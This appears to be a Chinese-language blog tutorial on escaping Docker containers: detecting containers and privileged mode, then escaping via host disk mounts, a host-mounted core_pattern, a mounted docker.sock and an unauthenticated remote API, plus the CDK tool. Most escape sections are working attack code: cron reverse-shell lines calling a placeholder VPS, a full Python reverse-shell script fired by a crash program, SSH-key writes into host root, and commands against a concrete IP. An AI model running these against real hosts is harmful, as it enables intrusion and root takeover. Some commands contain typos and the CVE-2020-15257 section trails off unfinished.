容器内信息收集

当我们拿到一个 shell 时,需判断当前是否未 docker 容器环境。

查看 cgroup 信息

使用到的命令:

1
2
cat /proc/1/cgroup
cat /proc/1/cgroup | grep -qi docker && echo "In Docker" || echo "Not Docker"

/proc/1/cgroup文件记录了进程的控制组 (cgroup) 信息。

在 Linux 系统中,当在容器中运行进程时,每个进程会被分配到一个或多个 cgroup 中,cgroup 可以对进程的资源使用进行控制和限制。

如果在容器内可以非常明确的看到 docker 字样。

非容器内则没有 docker 字样。

如果在 k8s 编排的容器中,则结果如下:

因此我们一条命令即可得知是否在 docker 容器内,命令如下:

1
cat /proc/1/cgroup | grep -qi docker && echo "In Docker" || echo "Not Docker"

在容器环境下的结果:

非容器下的结果:

检查 .dockerenv 文件

在容器环境内,根目录则存在一个隐藏的 dockerenv 文件,非容器环境则没有。

1
ls -la /.dockerenv

查看硬盘信息

容器内则输出为空(除特权模式启动以外),非容器内则有输出。

1
fdisk -l && id     

可以看到结果是没有 fdisk 命令执行结果输出的,而该命令是执行成功了的,否则不会有 id 命令的输出。

而非容器内的结果是这样的。

其他技巧

1
head -n 1 /proc/1/sched

容器环境结果通常是:

1
2
3
4
sh (1, #threads: 1)
bash (1, #threads: 1)
python (1, #threads: 1)
java (1, #threads: 1)

而非容器,则通常输出 systemd。

常用测试命令

1
2
3
4
5
(
grep -qaE 'docker|kubepods|containerd|libpod|lxc' /proc/1/cgroup ||
test -f /.dockerenv ||
[ "$(findmnt -n -o FSTYPE /)" = "overlay" ]
) && echo "In Docker" || echo "Not Docker"
1
test -f /.dockerenv && echo "In Docker" 
1
grep -qaE 'docker|kubepods|containerd|libpod|lxc' /proc/1/cgroup && echo "In Docker"

配置不当下的容器逃逸

特权模式下启动容器

环境搭建

以特权模式启动一个容器即可。

1
2
3
docker pull ubuntu:20.04

docker run -itd --name privileged-ubuntu --privileged ubuntu:20.04 /bin/bash

识别特权模式

在容器内,我们如何分辨出当前容器是否属于特权模式启动呢?

1️⃣ 使用 fdisk -l 命令判断。

1
fdisk -l

非特权模式是不能执行 fdisk -l命令的,如下。

2️⃣ 使用 /proc 目录判断,如果输出类似 0000003fffffffff、0000001fffffffff则是特权模式。

1
cat /proc/self/status | grep CapEff

3️⃣ 设备级判断,特权模式结果很多,普通模式则几乎没有。

1
ls /dev | grep -E 'loop|kmsg|mem|kmem'

4️⃣ 常用测试命令

1
2
3
4
5
6
7
8
9
10
11
12
is_priv=false

cap=$(awk '/CapEff/ {print $2}' /proc/self/status)
[[ "$cap" =~ ^0*3fffffffff$ ]] && is_priv=true

capsh --print 2>/dev/null | grep -q cap_sys_admin && is_priv=true

mount -t proc proc /tmp/p 2>/dev/null && is_priv=true && umount /tmp/p

test -w /dev/kmsg && is_priv=true

$is_priv && echo "Privileged Container " || echo "Not Privileged Container"

容器逃逸

假设已经拿到容器内 root 用户的权限,我们这里进入到容器。

我们将磁盘挂载到容器的某个路径下,先查看一下容器的信息:

1
fdisk -l

在当前根目录下创建目录 .system 然后将 /dev/vda1 挂载到 .system目录下。

1
2
mkdir /.system
mount /dev/vda1 /.system/

此时的 system 目录下就是宿主机的根目录。

后续可以通过写入 SSH 公钥、计划任务等方式达到 getshell 的效果。

ssh 写公钥如下:

1
cd /.system/root/.ssh

计划任务 getshell 如下:

1
2
3
4
# 适用于 Centos
echo '* * * * * bash -i >& /dev/tcp/vps的ip/9999 0>&1' >> /.system/var/spool/cron/root
# 适用于 Ubuntu
echo '* * * * * bash -i >& /dev/tcp/vps的ip/9999 0>&1' >> /.system/var/spool/cron/crontabs/root

接着使用 nc 监听 9999 端口就行。

一些思考

以目标 “获取宿主机上的配置文件” 为例,以下几种逃逸手法在容易在防御团队中暴露的概率从大到小,排序如下(部分典型手法举例,不同的 EDR 情况不同):

mount /etc + write crontab
mount /root/.ssh + write authorized_keys
old CVE/vulnerability exploit
write cgroup notify_on_release
write procfs core_pattern
volumeMounts: / + chroot
remount and rewrite cgroup
websocket/sock shell + volumeMounts: /path

需要的时候可以配合 ChatGPT。

自动化工具 CDK 使用

通过使用如下命令在容器内进行信息收集

1
./cdk_linux_amd64 evaluate --full 

从上图中发现如下信息:

  • 容器启动可能是特权模式
  • 可以使用 rewrite-cgroup-devices(重写Cgroup以访问设备)
  • 可以使用 mount-cgroup (Cgroup逃逸)

由于是特权模式,我们还可以在 CDK 文档中的 exploit 搜索特权进行利用。

尝试使用重写 Cgroup 逃逸:

1
./cdk_linux_amd64 run rewrite-cgroup-devices

尝试使用mount-cgroup (Cgroup逃逸):

1
./cdk_linux_amd64 run mount-cgroup "touch /tmp/hacked"

来到宿主机查看:

或者我们前面使用到的挂载逃逸:

1
./cdk_linux_amd64 run mount-disk

挂载宿主机 procfs 文件逃逸

前置知识

我们常说挂载宿主机 procfs 逃逸,其本质上因为宿主机挂载了procfs,导致我们可以像宿主机内写入一段恶意的 payload,比如反弹 shell ,然后利用代码制造崩溃,触发内存转储,就会执行我们恶意的 payload。

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

core_pattern(核心转储模式)是Linux系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除

环境搭建

1
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:20.04

容器逃逸

执行如下命令,如果返回了两个 core_pattern 文件,则表明挂载了宿主机的 core_pattern 文件。

1
find / -name core_pattern

接下来就需要找当前容器在宿主机内的路径,通过如下命令查找:

1
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

将以上路径最后的 work修改为 merged,修改之后的内容如下:

1
workdir=/var/lib/docker/overlay2/442c4e8f95006857e86e1666bc82f5a7e55046b690b09f35a68e98d890c38270/merged

接下来我们需要准备一个反弹 shell 的脚本以及一个可以制造崩溃,触发内存转储的代码,反弹 shell 脚本如下:

在容器的 /tmp 目录下进行创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
import os
import pty
import socket
lhost = ""
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()

这里一定一定要给 /tmp目录下的 .system.py文件可执行权限。

1
chmod +x /tmp/.system.py

构造命令:

1
2
echo -e "|/var/lib/docker/overlay2/442c4e8f95006857e86e1666bc82f5a7e55046b690b09f35a68e98d890c38270/merged/tmp/.system.py
\rcore " > /host/proc/sys/kernel/core_pattern

接着使用 c 语言写一个可以出发崩溃的程序:

1
2
3
4
5
6
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

接着进行编译:

1
2
3
gcc .systemd.c -c systemd
chmod +x systemd
./systemd

在 vps 上监听 2333 端口,然后在容器内执行 systemd 就可以造成 core_dump,接着执行 .system.py反弹 shell。

除上面的崩溃程序以外,还可以使用如下方式,同样可以造成崩溃。

1
2
3
4
5
6
7
#include <stdlib.h>

int main(void) {
abort(); // 触发 SIGABRT
return 0;
}

1
2
3
4
5
6
7
8
#include <signal.h>
#include <unistd.h>

int main(void) {
kill(getpid(), SIGSEGV);
return 0;
}

自动化工具 CDK 使用

如果已经知道可以通过 procfs 进行逃逸了,可以直接查看 wiki 进行利用:

反之就可以使用 CDK 进行一些容器信息收集:

1
./cdk_linux_amd64 evaluate --ful

可以看到这两个 core_pattern,前者表示挂载源,后者表示挂载点。

1
2
# 这里通过写公钥的方式 getshell
./cdk_linux_amd64 run mount-procfs /host/proc/ "mkdir /root/.ssh/"

1
2
# 写入公钥
./cdk_linux_amd64 run mount-procfs /host/proc/ 'echo xxxxxxxx > /root/.ssh/authorized_keys'

使用私钥直接进行连接:

挂载 docker socket 逃逸

前置知识

Docker Socket(也称为Docker API Socket)是 Docker 引擎的UNIX套接字文件,用于与 Docker 守护进程(Docker daemon)进行通信。Docker 守护进程是 Docker 引擎的核心组件,负责管理和执行容器。Docker Socket 允许用户通过基于 RESTful API 的请求与 Docker 守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。

当容器启动时挂载了 docker 的 socket 就可以实现逃逸。

环境搭建

1
docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:20.04

判断当前容器是否挂载了 sock:

1
ls -lah /var/run/docker.sock

通过如下命令也可以:

1
cat /proc/mounts | grep docker.sock

容器逃逸

这里需要在当前容器内安装一个 docker,由于宿主机的 socket 文件挂载到了容器,因此我们可以将宿主机的目录挂载到新的容器中。

1
apt install docker.io # 这里以Ubuntu为例安装

由于使用的是同一个 docker socket,所以这里的 docker images 结果和宿主机的结果是一样的。

创建容器

1
docker run -itd -v /:/demo  ubuntu:20.04 /bin/bash

进入到容器之后切换到到根目录为 /demo,此时就进入到了宿主机的目录。

容器漏洞-CVE-2020-15257

基础环境搭建

这里绿盟的开源项目 metarget 一键安装带有漏洞的 docker 版本。

1
# 这里使用的是 docker 搭建的 ubuntu:18.04 ,这里一定要以特权模式启动,不然不能启动docker服务
1
2
# 推荐使用Ubuntu 16.04 获 Ubuntu 18.04
./metarget cnv install cve-2020-15257

如果在容器内,执行以上命令报如下错误,则表示当前内核版本不匹配,无法安装。

如果报错如下:

如果报其他错误,可以尝试命令:

1
2
3
4
5
export LANG=C.UTF-8
export LC_ALL=C.UTF-8

# 如果是容器的Ubuntu18.04,可能需要安装一下curl
apt install curl

之后应该就可以正常安装了。

后面就遇到了各种报错,干脆不解决了。

容器逃逸复现

docker 未授权 API 逃逸

Docker 的 2375 端口主要用于 Docker 守护进程的监听和通信。它主要用于 Docker 容器的网络连接和通信,包括容器的启动、停止、删除等操作。该端口可以被Docker守护进程用于接收来自客户端的请求,并与其进行交互和通信。需要注意的是,使用该端口需要确保防火墙设置正确,以避免潜在的安全风险。

简而言之,docker 远程 API 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker。

环境搭建

开启 docker 远程 api

1
2
3
4
5
6
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

# 如果需要后台启动可以运行如下命令
nohup dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 &

# 注意,该服务不能与 docker.service 同时启动

前置知识

如何确定当前 docker 远程 api 存在未授权:

1
2
curl http://127.0.0.1:2375
curl curl 127.0.0.1:2375/info

通过 http 方式可以直接查看当前运行的容器信息。

1
http://xxx.xxx.xxx.xxx:2375/containers/json

也可以通过 docker -H 加载远程的 api 执行 docker 命令。

1
2
3
docker -H tcp://xxx.xxx.xxx.xx:2375 ps -a

# 后续的 ps -a 跟之前的 docker 命令完全一样

容器逃逸

两种方法,其本质都是创建一个拥有特权并且挂载宿主机 / 目录的容器。

1️⃣ 新运行一个容器,挂载点设置为服务器的根目录挂载至 /mnt 目录下

1
2
3
4
5
6
# 利用 api 查看主机的所有镜像
docker -H tcp://47.92.111.90:2375 images
# 将宿主机的根目录挂载到容器的 /mnt 目录,这里也可以 pull nginx:latest 不过需要拉取
docker -H tcp://47.92.111.90:2375 run -it -v /:/mnt ubuntu:20.04 /bin/bash
# 将根目录切换到 /mnt
chroot /mnt

后续通过 ssh 公钥或者计划任务、反弹 shell 等都可以 getshell。

1
2
3
4
5
6
7
#连接2375端口
export DOCKER_HOST="tcp://127.0.0.1:2375"
#创建挂载宿主机根目录的容器
docker run --rm -it --privileged -net=host -v /: /tmp/docker alpine
cd /tmp/docker
#通过chroot 切换bash
chroot ./ bash

参考文章